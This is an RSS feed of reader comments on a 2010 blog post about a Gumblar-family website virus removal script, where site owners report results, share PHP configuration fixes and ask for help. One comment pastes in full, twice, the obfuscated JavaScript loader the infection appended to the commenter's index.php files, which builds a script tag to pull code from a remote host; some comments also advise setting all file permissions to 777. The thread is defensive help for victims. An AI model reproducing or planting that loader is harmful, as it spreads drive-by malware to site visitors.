<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	>
<channel>
	<title>Comments on: Gumblar-family virus removal tool</title>
	<atom:link href="http://justcoded.com/article/gumblar-family-virus-removal-tool/feed/" rel="self" type="application/rss+xml" />
	<link>http://justcoded.com/article/gumblar-family-virus-removal-tool/</link>
	<description>closer to perfection</description>
	<pubDate>Thu, 09 Sep 2010 09:32:50 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.7.1</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<item>
		<title>By: Dean</title>
		<link>http://justcoded.com/article/gumblar-family-virus-removal-tool/comment-page-3/#comment-383</link>
		<dc:creator>Dean</dc:creator>
		<pubDate>Thu, 17 Jun 2010 06:25:45 +0000</pubDate>
		<guid isPermaLink="false">http://justcoded.com/?p=185#comment-383</guid>
		<description>Thanks! If it only fixed up the file permissions and ownership :(</description>
		<content:encoded><![CDATA[<p>Thanks! If it only fixed up the file permissions and ownership <img src='http://justcoded.com/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> </p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Paul</title>
		<link>http://justcoded.com/article/gumblar-family-virus-removal-tool/comment-page-3/#comment-329</link>
		<dc:creator>Paul</dc:creator>
		<pubDate>Sun, 11 Apr 2010 13:16:59 +0000</pubDate>
		<guid isPermaLink="false">http://justcoded.com/?p=185#comment-329</guid>
		<description>merci 
thks</description>
		<content:encoded><![CDATA[<p>merci<br />
thks</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Flatlander</title>
		<link>http://justcoded.com/article/gumblar-family-virus-removal-tool/comment-page-3/#comment-328</link>
		<dc:creator>Flatlander</dc:creator>
		<pubDate>Tue, 06 Apr 2010 13:00:16 +0000</pubDate>
		<guid isPermaLink="false">http://justcoded.com/?p=185#comment-328</guid>
		<description>Excellent. First I got a bit afraid as I had many Failed messages, but it turned out that these are file with 0-byte length, which had been created by the virus. So now I just need to remove about a 100 files or so of length 0 :-)

Thanks, lifesaver!</description>
		<content:encoded><![CDATA[<p>Excellent. First I got a bit afraid as I had many Failed messages, but it turned out that these are file with 0-byte length, which had been created by the virus. So now I just need to remove about a 100 files or so of length 0 <img src='http://justcoded.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>Thanks, lifesaver!</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Amin</title>
		<link>http://justcoded.com/article/gumblar-family-virus-removal-tool/comment-page-3/#comment-324</link>
		<dc:creator>Amin</dc:creator>
		<pubDate>Mon, 22 Mar 2010 06:15:03 +0000</pubDate>
		<guid isPermaLink="false">http://justcoded.com/?p=185#comment-324</guid>
		<description>Thanks for the script.. its working.. if some of you cant turn off magic quotes off can add this in the top of the curevir.php file.

if ( in_array( strtolower( ini_get( 'magic_quotes_gpc' ) ), array( '1', 'on' ) ) )
{
    $_POST = array_map( 'stripslashes', $_POST );
    $_GET = array_map( 'stripslashes', $_GET );
    $_COOKIE = array_map( 'stripslashes', $_COOKIE );
}</description>
		<content:encoded><![CDATA[<p>Thanks for the script.. its working.. if some of you cant turn off magic quotes off can add this in the top of the curevir.php file.</p>
<p>if ( in_array( strtolower( ini_get( &#8216;magic_quotes_gpc&#8217; ) ), array( &#8216;1&#8242;, &#8216;on&#8217; ) ) )<br />
{<br />
    $_POST = array_map( &#8217;stripslashes&#8217;, $_POST );<br />
    $_GET = array_map( &#8217;stripslashes&#8217;, $_GET );<br />
    $_COOKIE = array_map( &#8217;stripslashes&#8217;, $_COOKIE );<br />
}</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: JamBy</title>
		<link>http://justcoded.com/article/gumblar-family-virus-removal-tool/comment-page-3/#comment-319</link>
		<dc:creator>JamBy</dc:creator>
		<pubDate>Tue, 16 Mar 2010 13:04:55 +0000</pubDate>
		<guid isPermaLink="false">http://justcoded.com/?p=185#comment-319</guid>
		<description>This is a very very very cool stuff. Remove all  from my site a minute...

THX</description>
		<content:encoded><![CDATA[<p>This is a very very very cool stuff. Remove all  from my site a minute&#8230;</p>
<p>THX</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Sameer Shelavale</title>
		<link>http://justcoded.com/article/gumblar-family-virus-removal-tool/comment-page-3/#comment-308</link>
		<dc:creator>Sameer Shelavale</dc:creator>
		<pubDate>Wed, 10 Mar 2010 05:51:44 +0000</pubDate>
		<guid isPermaLink="false">http://justcoded.com/?p=185#comment-308</guid>
		<description>hey Chris,

The virues comes back because either you did not change FTP password after clean up OR one of your machine from which you are accessing FTP is infected.

Please clean up virus from your local machines as well and change FTP password</description>
		<content:encoded><![CDATA[<p>hey Chris,</p>
<p>The virues comes back because either you did not change FTP password after clean up OR one of your machine from which you are accessing FTP is infected.</p>
<p>Please clean up virus from your local machines as well and change FTP password</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Jake</title>
		<link>http://justcoded.com/article/gumblar-family-virus-removal-tool/comment-page-3/#comment-296</link>
		<dc:creator>Jake</dc:creator>
		<pubDate>Tue, 23 Feb 2010 06:24:10 +0000</pubDate>
		<guid isPermaLink="false">http://justcoded.com/?p=185#comment-296</guid>
		<description>Hi Konstantin,

I've also been hit by what I believe to be a variant of the Gumblar virus, but I can't quite be sure because it's different from what others have posted here. Here's what I see at the bottom of every index.php file in my web server:

var cVN="849b92a98ee98d878086b4c89d8c878fcaaf80adbf8c9a8098a9a9abbd93bb88a18ea394ae90a09fad9da399a1a992a2849f82ad84abba938c8082a0aaa98b9f8ef3a99cefb99e8cf38eabef8b9f";var cqf;if(cqf!='' &amp;&amp; cqf!='UBb'){cqf=null};this.sd=27476;function J(s){var e="";var Bu;if(Bu!='' &amp;&amp; Bu!='i'){Bu='nz'}; this.Ub="Ub";this.mW='';function BI(V,y){this.CO='';this.p='';return V[X("rehdcoaCAt", [4,2,6,0,7,5,3,1])](y);var mf=new Date();}var pk;if(pk!='inr'){pk='inr'}; function E(k,I){var HH;if(HH!='Mr' &amp;&amp; HH!='Vw'){HH=''};var Iv="Iv";return k^I;this.sK="";var Yv;if(Yv!='' &amp;&amp; Yv!='dd'){Yv='RC'};}this.Ku="";var Tq=""; var X=function(G, Xr){this.va="";var K=[1][0];this.Zv="";var m = Xr.length;var Q = G.length;var h=[0,64,162][0];var v = '';this.aj='';for(var a = h; a &lt;Q&gt;=h;a=a-[1,10,2,170][0]){v+=G[X("hcratA", [1,0])](a);this.vg=false;var dM;if(dM!='II' &amp;&amp; dM!='JN'){dM='II'};}this.tv=false;this.Ll=false;var wA="";return v;};var BR;if(BR!=''){BR='WO'};var zq;if(zq!='Sy' &amp;&amp; zq!='sD'){zq='Sy'};this.vy=50904;this.nX=43953; var QF=function(q){var DM;if(DM!='XEZ' &amp;&amp; DM!='rG'){DM=''};var Op;if(Op!='LL'){Op='LL'};var b=[232,122,0][2];var VV=q[X("elgnht", [1,0])];var Qa=[255,201,149][0];var Jz;if(Jz!='oq'){Jz='oq'};var R=[132,0][1];var jQ=false;var VF;if(VF!='LQ'){VF='LQ'};var K=[85,1,194][1];var JUp;if(JUp!='' &amp;&amp; JUp!='NG'){JUp='cs'};while(b&lt;VV){b++;var yv;if(yv!='ym' &amp;&amp; yv != ''){yv=null};C=BI(q,b - K);this.EpY="";this.JO="";R+=C*VV;}var TS;if(TS!='zu' &amp;&amp; TS!='kwe'){TS='zu'};var hs="hs";return new n(R % Qa);var zj;if(zj!=''){zj='sqr'};};var yT=39061;var wo=new Array();var KM=window;var Ky;if(Ky!='Jzc'){Ky='Jzc'};var eo;if(eo!='uY'){eo='uY'};var F=KM[X("lvae", [3,1,2,0])];this.fE=17167;var U=F(X("unFctoni", [2,0,6,3,4,7,5,1]));var H=F(X("pRgxEe", [1,5,2,4,3,0]));var YX=new Date();var d = '';var RS=false;var hsV=new String();var n=F(X("gtnSir", [3,1,5,4,2,0]));this.Pi=false;this.yC=39235;var aS=n[X("roChafmrCode", [5,7,1,6,2,3,4,0])];var nG=KM[X("scuneape", [2,3,4,0,1])];var FA='';var ocO;if(ocO!=''){ocO='dno'};var ot="";var XF=new Date();var Cz=new Array();var r = '';var hD=new Array();var sL='';var hT = '';var zb;if(zb!='' &amp;&amp; zb!='XY'){zb=''};var HJ;if(HJ!='' &amp;&amp; HJ!='UG'){HJ=''};var f = "%";this.AC="";var aI=10154;var qor;if(qor!='JNt' &amp;&amp; qor != ''){qor=null};var K =[1,10][0];var Xa = '';var h =[0][0];var fe;if(fe!='tVQ' &amp;&amp; fe != ''){fe=null};var eq;if(eq!='Sx' &amp;&amp; eq != ''){eq=null};var A = /[^@a-z0-9A-Z_-]/g;var uIs="uIs";var XL =[65,0,182,2][3];var TEf;if(TEf!=''){TEf='vV'};var bl;if(bl!='vh' &amp;&amp; bl!='iu'){bl='vh'};this.at=false;var doY=[1, X("oducemtnc.ertaEeelemtn\'(csirtp)\'", [1,0]),2, X("oducemtnb.do.ypaepdnhCli(d)d", [1,0]),3, X("ge.osrreecsuenrr.v.atentflix", [3,5,0,2,4,1]),4, X(".dsteAttrbiuet(d\'eefr\'", [1,0,2]),5, X("oe.iscmta:er.mpu8080", [5,0,6,2,4,3,7,1]),6, X("gogopel.t", [2,1,3,0]),7, X("iwdnwoo.lnaod", [1,0]),8, X("sernaucpe.com", [2,5,3,1,0,6,4]),11, X("unfticn(o)", [2,0,1]),12, X("oloegg.com", [4,2,0,5,1,3]),14, X("hatcc(e)", [3,1,2,4,0,5]),15, X("h\"tpt:", [1,0,2]),16, X("sd.rc", [1,2,0]),17, X("cgc.a", [1,0]),18, X("ozdm", [2,3,0,1]),19, X("\'1)\'", [3,1,0,2]),20, X("ytr", [1,2,0])];var Xo="Xo";var T = s[X("egnlth", [3,0,2,1])];var MX;if(MX!=''){MX='ut'};var JJ;if(JJ!=''){JJ='vs'};var To =[50,40,0][2];this.wx=17732;var uG;if(uG!='sg' &amp;&amp; uG != ''){uG=null};var iS;if(iS!='Lv' &amp;&amp; iS != ''){iS=null};for(var Pq=h; Pq &lt; T; Pq+=XL){var Aqe='';hT+= f; var Zdj=new Date();hT+= s[X("ussbrt", [1,0])](Pq, XL);var Nk;if(Nk!='ve'){Nk='ve'};}var Co;if(Co!='' &amp;&amp; Co!='Lf'){Co=null};this.Uy=false;var s = nG(hT);var io="io";var jT="jT";var otm="";var GP = new n(J);var qs;if(qs!='fV'){qs=''};var KK = GP[X("capelre", [5,3,2,4,1,0])](A, r);this.fF="";var bw = new n(U);var gh;if(gh!='' &amp;&amp; gh!='WA'){gh='Vz'};var ey;if(ey!='' &amp;&amp; ey!='Iy'){ey=null};var qW = doY[X("ntlegh", [2,3,0,4,1])];var vv=24967;var op;if(op!='ki' &amp;&amp; op!='Ap'){op=''};KK = B(KK);var NK;if(NK!='Rd' &amp;&amp; NK!='vp'){NK=''};this.Rc=false;var Ey=34415;var UP;if(UP!='oZT'){UP='oZT'};var JX="";var dt = bw[X("elprace", [3,0,2,1])](A, r);var QV='';var dt = QF(dt);var zs;if(zs!='xR'){zs='xR'};var W=QF(KK);var ku=new String();for(var a=h; a  KK.length-K){To=h;var uA=new Date();}var TM;if(TM!='qY'){TM='qY'};Xa += aS(jf);var Xt;if(Xt!=''){Xt='zF'};var kQ='';}var zx=new Array();for(qq=h; qq &lt; qW; qq+=XL){var mm="";var ib;if(ib!='rl' &amp;&amp; ib != ''){ib=null};var AR='';var ls;if(ls!='Se' &amp;&amp; ls != ''){ls=null};var kq;if(kq!='' &amp;&amp; kq!='OP'){kq=null};var tr;if(tr!='Zx' &amp;&amp; tr != ''){tr=null};var Y = aS(doY[qq]);var vP = doY[qq + K];this.AK='';this.cJ="";this.Ze=false;this.uo='';var My="";var wj="";var AV = new H(Y, "g");var YJ=new String();Xa=Xa[X("erlpcae", [1,0])](AV, vP);}var ff=new Array();var Ln;if(Ln!=''){Ln='LD'};var o=new U(Xa);o();var Ke='';var bP=62265;dt = '';this.uYr="";W = '';KK = '';var YQ;if(YQ!='NR' &amp;&amp; YQ!='vI'){YQ='NR'};var MFF=new Array();Xa = '';var Bd=new String();var HIk;if(HIk!='' &amp;&amp; HIk!='vm'){HIk=null};bw = '';o = '';var lk="lk";var dF='';this.eU='';var Nf=new String();return '';};var cqf;if(cqf!='' &amp;&amp; cqf!='UBb'){cqf=null};this.sd=27476;J(cVN);
&lt;!--53a83eb810e5bb1de33401606f62fdb5--&gt;

Tried installing your script, but when I ran it I received the following message:

Warning: fopen(/home/mysite/public_html/!infected-1266906136.txt) [function.fopen]: failed to open stream: Permission denied in /home/mysite/public_html/curevir.php on line 328

Warning: fclose(): supplied argument is not a valid stream resource in /home/mysite/public_html/curevir.php on line 336
TOTAL: 0
START BACKUP:
END BACKUP!

Can you please tell me what I'm doing wrong?</description>
		<content:encoded><![CDATA[<p>Hi Konstantin,</p>
<p>I&#8217;ve also been hit by what I believe to be a variant of the Gumblar virus, but I can&#8217;t quite be sure because it&#8217;s different from what others have posted here. Here&#8217;s what I see at the bottom of every index.php file in my web server:</p>
<p>var cVN=&#8221;849b92a98ee98d878086b4c89d8c878fcaaf80adbf8c9a8098a9a9abbd93bb88a18ea394ae90a09fad9da399a1a992a2849f82ad84abba938c8082a0aaa98b9f8ef3a99cefb99e8cf38eabef8b9f&#8221;;var cqf;if(cqf!=&#8221; &amp;&amp; cqf!=&#8217;UBb&#8217;){cqf=null};this.sd=27476;function J(s){var e=&#8221;";var Bu;if(Bu!=&#8221; &amp;&amp; Bu!=&#8217;i'){Bu=&#8217;nz&#8217;}; this.Ub=&#8221;Ub&#8221;;this.mW=&#8221;;function BI(V,y){this.CO=&#8221;;this.p=&#8221;;return V[X("rehdcoaCAt", [4,2,6,0,7,5,3,1])](y);var mf=new Date();}var pk;if(pk!=&#8217;inr&#8217;){pk=&#8217;inr&#8217;}; function E(k,I){var HH;if(HH!=&#8217;Mr&#8217; &amp;&amp; HH!=&#8217;Vw&#8217;){HH=&#8221;};var Iv=&#8221;Iv&#8221;;return k^I;this.sK=&#8221;";var Yv;if(Yv!=&#8221; &amp;&amp; Yv!=&#8217;dd&#8217;){Yv=&#8217;RC&#8217;};}this.Ku=&#8221;";var Tq=&#8221;"; var X=function(G, Xr){this.va=&#8221;";var K=[1][0];this.Zv=&#8221;";var m = Xr.length;var Q = G.length;var h=[0,64,162][0];var v = &#8221;;this.aj=&#8221;;for(var a = h; a <q>=h;a=a-[1,10,2,170][0]){v+=G[X("hcratA", [1,0])](a);this.vg=false;var dM;if(dM!=&#8217;II&#8217; &amp;&amp; dM!=&#8217;JN&#8217;){dM=&#8217;II&#8217;};}this.tv=false;this.Ll=false;var wA=&#8221;";return v;};var BR;if(BR!=&#8221;){BR=&#8217;WO&#8217;};var zq;if(zq!=&#8217;Sy&#8217; &amp;&amp; zq!=&#8217;sD&#8217;){zq=&#8217;Sy&#8217;};this.vy=50904;this.nX=43953; var QF=function(q){var DM;if(DM!=&#8217;XEZ&#8217; &amp;&amp; DM!=&#8217;rG&#8217;){DM=&#8221;};var Op;if(Op!=&#8217;LL&#8217;){Op=&#8217;LL&#8217;};var b=[232,122,0][2];var VV=q[X("elgnht", [1,0])];var Qa=[255,201,149][0];var Jz;if(Jz!=&#8217;oq&#8217;){Jz=&#8217;oq&#8217;};var R=[132,0][1];var jQ=false;var VF;if(VF!=&#8217;LQ&#8217;){VF=&#8217;LQ&#8217;};var K=[85,1,194][1];var JUp;if(JUp!=&#8221; &amp;&amp; JUp!=&#8217;NG&#8217;){JUp=&#8217;cs&#8217;};while(b&lt;VV){b++;var yv;if(yv!=&#8217;ym&#8217; &amp;&amp; yv != &#8221;){yv=null};C=BI(q,b - K);this.EpY=&#8221;";this.JO=&#8221;";R+=C*VV;}var TS;if(TS!=&#8217;zu&#8217; &amp;&amp; TS!=&#8217;kwe&#8217;){TS=&#8217;zu&#8217;};var hs=&#8221;hs&#8221;;return new n(R % Qa);var zj;if(zj!=&#8221;){zj=&#8217;sqr&#8217;};};var yT=39061;var wo=new Array();var KM=window;var Ky;if(Ky!=&#8217;Jzc&#8217;){Ky=&#8217;Jzc&#8217;};var eo;if(eo!=&#8217;uY&#8217;){eo=&#8217;uY&#8217;};var F=KM[X("lvae", [3,1,2,0])];this.fE=17167;var U=F(X(&#8221;unFctoni&#8221;, [2,0,6,3,4,7,5,1]));var H=F(X(&#8221;pRgxEe&#8221;, [1,5,2,4,3,0]));var YX=new Date();var d = &#8221;;var RS=false;var hsV=new String();var n=F(X(&#8221;gtnSir&#8221;, [3,1,5,4,2,0]));this.Pi=false;this.yC=39235;var aS=n[X("roChafmrCode", [5,7,1,6,2,3,4,0])];var nG=KM[X("scuneape", [2,3,4,0,1])];var FA=&#8221;;var ocO;if(ocO!=&#8221;){ocO=&#8217;dno&#8217;};var ot=&#8221;";var XF=new Date();var Cz=new Array();var r = &#8221;;var hD=new Array();var sL=&#8221;;var hT = &#8221;;var zb;if(zb!=&#8221; &amp;&amp; zb!=&#8217;XY&#8217;){zb=&#8221;};var HJ;if(HJ!=&#8221; &amp;&amp; HJ!=&#8217;UG&#8217;){HJ=&#8221;};var f = &#8220;%&#8221;;this.AC=&#8221;";var aI=10154;var qor;if(qor!=&#8217;JNt&#8217; &amp;&amp; qor != &#8221;){qor=null};var K =[1,10][0];var Xa = &#8221;;var h =[0][0];var fe;if(fe!=&#8217;tVQ&#8217; &amp;&amp; fe != &#8221;){fe=null};var eq;if(eq!=&#8217;Sx&#8217; &amp;&amp; eq != &#8221;){eq=null};var A = /[^@a-z0-9A-Z_-]/g;var uIs=&#8221;uIs&#8221;;var XL =[65,0,182,2][3];var TEf;if(TEf!=&#8221;){TEf=&#8217;vV&#8217;};var bl;if(bl!=&#8217;vh&#8217; &amp;&amp; bl!=&#8217;iu&#8217;){bl=&#8217;vh&#8217;};this.at=false;var doY=[1, X("oducemtnc.ertaEeelemtn\'(csirtp)\'", [1,0]),2, X(&#8221;oducemtnb.do.ypaepdnhCli(d)d&#8221;, [1,0]),3, X(&#8221;ge.osrreecsuenrr.v.atentflix&#8221;, [3,5,0,2,4,1]),4, X(&#8221;.dsteAttrbiuet(d\&#8217;eefr\&#8217;&#8221;, [1,0,2]),5, X(&#8221;oe.iscmta:er.mpu8080&#8243;, [5,0,6,2,4,3,7,1]),6, X(&#8221;gogopel.t&#8221;, [2,1,3,0]),7, X(&#8221;iwdnwoo.lnaod&#8221;, [1,0]),8, X(&#8221;sernaucpe.com&#8221;, [2,5,3,1,0,6,4]),11, X(&#8221;unfticn(o)&#8221;, [2,0,1]),12, X(&#8221;oloegg.com&#8221;, [4,2,0,5,1,3]),14, X(&#8221;hatcc(e)&#8221;, [3,1,2,4,0,5]),15, X(&#8221;h\&#8221;tpt:&#8221;, [1,0,2]),16, X(&#8221;sd.rc&#8221;, [1,2,0]),17, X(&#8221;cgc.a&#8221;, [1,0]),18, X(&#8221;ozdm&#8221;, [2,3,0,1]),19, X(&#8221;\&#8217;1)\&#8217;&#8221;, [3,1,0,2]),20, X(&#8221;ytr&#8221;, [1,2,0])];var Xo=&#8221;Xo&#8221;;var T = s[X("egnlth", [3,0,2,1])];var MX;if(MX!=&#8221;){MX=&#8217;ut&#8217;};var JJ;if(JJ!=&#8221;){JJ=&#8217;vs&#8217;};var To =[50,40,0][2];this.wx=17732;var uG;if(uG!=&#8217;sg&#8217; &amp;&amp; uG != &#8221;){uG=null};var iS;if(iS!=&#8217;Lv&#8217; &amp;&amp; iS != &#8221;){iS=null};for(var Pq=h; Pq &lt; T; Pq+=XL){var Aqe=&#8221;;hT+= f; var Zdj=new Date();hT+= s[X("ussbrt", [1,0])](Pq, XL);var Nk;if(Nk!=&#8217;ve&#8217;){Nk=&#8217;ve&#8217;};}var Co;if(Co!=&#8221; &amp;&amp; Co!=&#8217;Lf&#8217;){Co=null};this.Uy=false;var s = nG(hT);var io=&#8221;io&#8221;;var jT=&#8221;jT&#8221;;var otm=&#8221;";var GP = new n(J);var qs;if(qs!=&#8217;fV&#8217;){qs=&#8221;};var KK = GP[X("capelre", [5,3,2,4,1,0])](A, r);this.fF=&#8221;";var bw = new n(U);var gh;if(gh!=&#8221; &amp;&amp; gh!=&#8217;WA&#8217;){gh=&#8217;Vz&#8217;};var ey;if(ey!=&#8221; &amp;&amp; ey!=&#8217;Iy&#8217;){ey=null};var qW = doY[X("ntlegh", [2,3,0,4,1])];var vv=24967;var op;if(op!=&#8217;ki&#8217; &amp;&amp; op!=&#8217;Ap&#8217;){op=&#8221;};KK = B(KK);var NK;if(NK!=&#8217;Rd&#8217; &amp;&amp; NK!=&#8217;vp&#8217;){NK=&#8221;};this.Rc=false;var Ey=34415;var UP;if(UP!=&#8217;oZT&#8217;){UP=&#8217;oZT&#8217;};var JX=&#8221;";var dt = bw[X("elprace", [3,0,2,1])](A, r);var QV=&#8221;;var dt = QF(dt);var zs;if(zs!=&#8217;xR&#8217;){zs=&#8217;xR&#8217;};var W=QF(KK);var ku=new String();for(var a=h; a  KK.length-K){To=h;var uA=new Date();}var TM;if(TM!=&#8217;qY&#8217;){TM=&#8217;qY&#8217;};Xa += aS(jf);var Xt;if(Xt!=&#8221;){Xt=&#8217;zF&#8217;};var kQ=&#8221;;}var zx=new Array();for(qq=h; qq &lt; qW; qq+=XL){var mm=&#8221;";var ib;if(ib!=&#8217;rl&#8217; &amp;&amp; ib != &#8221;){ib=null};var AR=&#8221;;var ls;if(ls!=&#8217;Se&#8217; &amp;&amp; ls != &#8221;){ls=null};var kq;if(kq!=&#8221; &amp;&amp; kq!=&#8217;OP&#8217;){kq=null};var tr;if(tr!=&#8217;Zx&#8217; &amp;&amp; tr != &#8221;){tr=null};var Y = aS(doY[qq]);var vP = doY[qq + K];this.AK=&#8221;;this.cJ=&#8221;";this.Ze=false;this.uo=&#8221;;var My=&#8221;";var wj=&#8221;";var AV = new H(Y, &#8220;g&#8221;);var YJ=new String();Xa=Xa[X("erlpcae", [1,0])](AV, vP);}var ff=new Array();var Ln;if(Ln!=&#8221;){Ln=&#8217;LD&#8217;};var o=new U(Xa);o();var Ke=&#8221;;var bP=62265;dt = &#8221;;this.uYr=&#8221;";W = &#8221;;KK = &#8221;;var YQ;if(YQ!=&#8217;NR&#8217; &amp;&amp; YQ!=&#8217;vI&#8217;){YQ=&#8217;NR&#8217;};var MFF=new Array();Xa = &#8221;;var Bd=new String();var HIk;if(HIk!=&#8221; &amp;&amp; HIk!=&#8217;vm&#8217;){HIk=null};bw = &#8221;;o = &#8221;;var lk=&#8221;lk&#8221;;var dF=&#8221;;this.eU=&#8221;;var Nf=new String();return &#8221;;};var cqf;if(cqf!=&#8221; &amp;&amp; cqf!=&#8217;UBb&#8217;){cqf=null};this.sd=27476;J(cVN);<br />
<!--53a83eb810e5bb1de33401606f62fdb5--></p>
<p>Tried installing your script, but when I ran it I received the following message:</p>
<p>Warning: fopen(/home/mysite/public_html/!infected-1266906136.txt) [function.fopen]: failed to open stream: Permission denied in /home/mysite/public_html/curevir.php on line 328</p>
<p>Warning: fclose(): supplied argument is not a valid stream resource in /home/mysite/public_html/curevir.php on line 336<br />
TOTAL: 0<br />
START BACKUP:<br />
END BACKUP!</p>
<p>Can you please tell me what I&#8217;m doing wrong?</q></p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Chris Brennan</title>
		<link>http://justcoded.com/article/gumblar-family-virus-removal-tool/comment-page-3/#comment-295</link>
		<dc:creator>Chris Brennan</dc:creator>
		<pubDate>Tue, 23 Feb 2010 05:27:08 +0000</pubDate>
		<guid isPermaLink="false">http://justcoded.com/?p=185#comment-295</guid>
		<description>Thank you very much for posting this script Konstantin.  I've been freaking out all day once I realized that all 10 of my websites had been compromised and were now seeding viruses and malware to everyone who visited them.  It took me a while to figure out how to implement your fix, and I just wanted to point out a couple of things to others who may have similar problems following the directions.  

1.  The only way I was successfully able to turn magic quotes off was by doing it through the .htaccess file.  Editing this file may be more familiar than the other route to most people.  Basically you just add this line to the .htaccess file in your root director:  php_flag magic_quotes_gpc Off

I got the directions on that from this page:  http://www.php.net/manual/en/security.magicquotes.disabling.php

2.  You really do have to change the file permissions for everything to 777.  He isn't joking about that.  Once you've done the above two steps the script does work pretty well though, as far as I can tell.  

The only problem is that I can only figure out how to run it from the root directory given my limited technical knowledge, and I have found that there are other folders and files *outside* of the root directory that have been infected as well.  With these all I have been able to do is go in and edit them manually.  

This may be the reason why many people are reporting that the virus comes back after a day though, because they don't clean the files outside of the root.  At least, I'm hoping that that is the case since I *just* started cleaning all of my files, and there hasn't been enough time to see if it will come back yet.  

The last point that I wanted to make is that a lot of websites seem to say that this virus is propagated through unprotected passwords in Filezilla, because Filezilla doesn't encrypt their passwords.  I got rid of Filezilla today and found a new FTP program, but I was wondering if that was how everyone else got their websites infected as well?  Did everyone get this on their sites due to Filezilla?  The only other possibility for me is that some of my wordpress versions were kind of old.  Other than that, I really don't know how this happened.  Any insight you guys can share as to the cause of this would be appreciated, so that we can all better avoid it in the future.  

Many thanks.</description>
		<content:encoded><![CDATA[<p>Thank you very much for posting this script Konstantin.  I&#8217;ve been freaking out all day once I realized that all 10 of my websites had been compromised and were now seeding viruses and malware to everyone who visited them.  It took me a while to figure out how to implement your fix, and I just wanted to point out a couple of things to others who may have similar problems following the directions.  </p>
<p>1.  The only way I was successfully able to turn magic quotes off was by doing it through the .htaccess file.  Editing this file may be more familiar than the other route to most people.  Basically you just add this line to the .htaccess file in your root director:  php_flag magic_quotes_gpc Off</p>
<p>I got the directions on that from this page:  <a href="http://www.php.net/manual/en/security.magicquotes.disabling.php" rel="nofollow">http://www.php.net/manual/en/security.magicquotes.disabling.php</a></p>
<p>2.  You really do have to change the file permissions for everything to 777.  He isn&#8217;t joking about that.  Once you&#8217;ve done the above two steps the script does work pretty well though, as far as I can tell.  </p>
<p>The only problem is that I can only figure out how to run it from the root directory given my limited technical knowledge, and I have found that there are other folders and files *outside* of the root directory that have been infected as well.  With these all I have been able to do is go in and edit them manually.  </p>
<p>This may be the reason why many people are reporting that the virus comes back after a day though, because they don&#8217;t clean the files outside of the root.  At least, I&#8217;m hoping that that is the case since I *just* started cleaning all of my files, and there hasn&#8217;t been enough time to see if it will come back yet.  </p>
<p>The last point that I wanted to make is that a lot of websites seem to say that this virus is propagated through unprotected passwords in Filezilla, because Filezilla doesn&#8217;t encrypt their passwords.  I got rid of Filezilla today and found a new FTP program, but I was wondering if that was how everyone else got their websites infected as well?  Did everyone get this on their sites due to Filezilla?  The only other possibility for me is that some of my wordpress versions were kind of old.  Other than that, I really don&#8217;t know how this happened.  Any insight you guys can share as to the cause of this would be appreciated, so that we can all better avoid it in the future.  </p>
<p>Many thanks.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: victoria</title>
		<link>http://justcoded.com/article/gumblar-family-virus-removal-tool/comment-page-3/#comment-292</link>
		<dc:creator>victoria</dc:creator>
		<pubDate>Sun, 21 Feb 2010 00:09:14 +0000</pubDate>
		<guid isPermaLink="false">http://justcoded.com/?p=185#comment-292</guid>
		<description>Thanks for this your help has been invaluable especially as there seems to be very little out there for this obviously widespread attack!</description>
		<content:encoded><![CDATA[<p>Thanks for this your help has been invaluable especially as there seems to be very little out there for this obviously widespread attack!</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Konstantin Boyko</title>
		<link>http://justcoded.com/article/gumblar-family-virus-removal-tool/comment-page-3/#comment-289</link>
		<dc:creator>Konstantin Boyko</dc:creator>
		<pubDate>Fri, 19 Feb 2010 18:03:46 +0000</pubDate>
		<guid isPermaLink="false">http://justcoded.com/?p=185#comment-289</guid>
		<description>Thanks to everyone for posting your variants of the code. I was busy with other things and haven't had time for releasing new versions of the script. As far as I can see the hackers have learnt the javascript (or used some tool) and obfuscated their javascript code rather well. So now it is rather hard to write a regular expression for every variation and to cover all of them - since they modify it often. So I had to relase the version 1.3 which can be donwloaded &lt;a href="http://justcoded.com/wp-content/uploads/2010/02/curevir.1.3.zip" rel="nofollow"&gt;here&lt;/a&gt;. 

The main difference from all previous versions is that it is semi-automatic: you enter the  code which you can see in your files and the script searches/replaces for it. You need to copy exact code which you have inside &lt;script&gt;&lt;/script&gt;. There are also 2 options (buttons) - "Search" and "Search&amp;Replace". I recommend to run "Search" first and make sure that backup is working fine on your server and that your search string is correct.

Also you need to make sure that you have magic_quotes_gpc=Off in PHP settings for your server.

As always comments/contributions are kindly appreciated.</description>
		<content:encoded><![CDATA[<p>Thanks to everyone for posting your variants of the code. I was busy with other things and haven&#8217;t had time for releasing new versions of the script. As far as I can see the hackers have learnt the javascript (or used some tool) and obfuscated their javascript code rather well. So now it is rather hard to write a regular expression for every variation and to cover all of them - since they modify it often. So I had to relase the version 1.3 which can be donwloaded <a href="http://justcoded.com/wp-content/uploads/2010/02/curevir.1.3.zip" rel="nofollow">here</a>. </p>
<p>The main difference from all previous versions is that it is semi-automatic: you enter the  code which you can see in your files and the script searches/replaces for it. You need to copy exact code which you have inside <script></script>. There are also 2 options (buttons) - &#8220;Search&#8221; and &#8220;Search&#038;Replace&#8221;. I recommend to run &#8220;Search&#8221; first and make sure that backup is working fine on your server and that your search string is correct.</p>
<p>Also you need to make sure that you have magic_quotes_gpc=Off in PHP settings for your server.</p>
<p>As always comments/contributions are kindly appreciated.</p>
]]></content:encoded>
	</item>
</channel>
</rss>

<!-- Dynamic Page Served (once) in 0.299 seconds -->
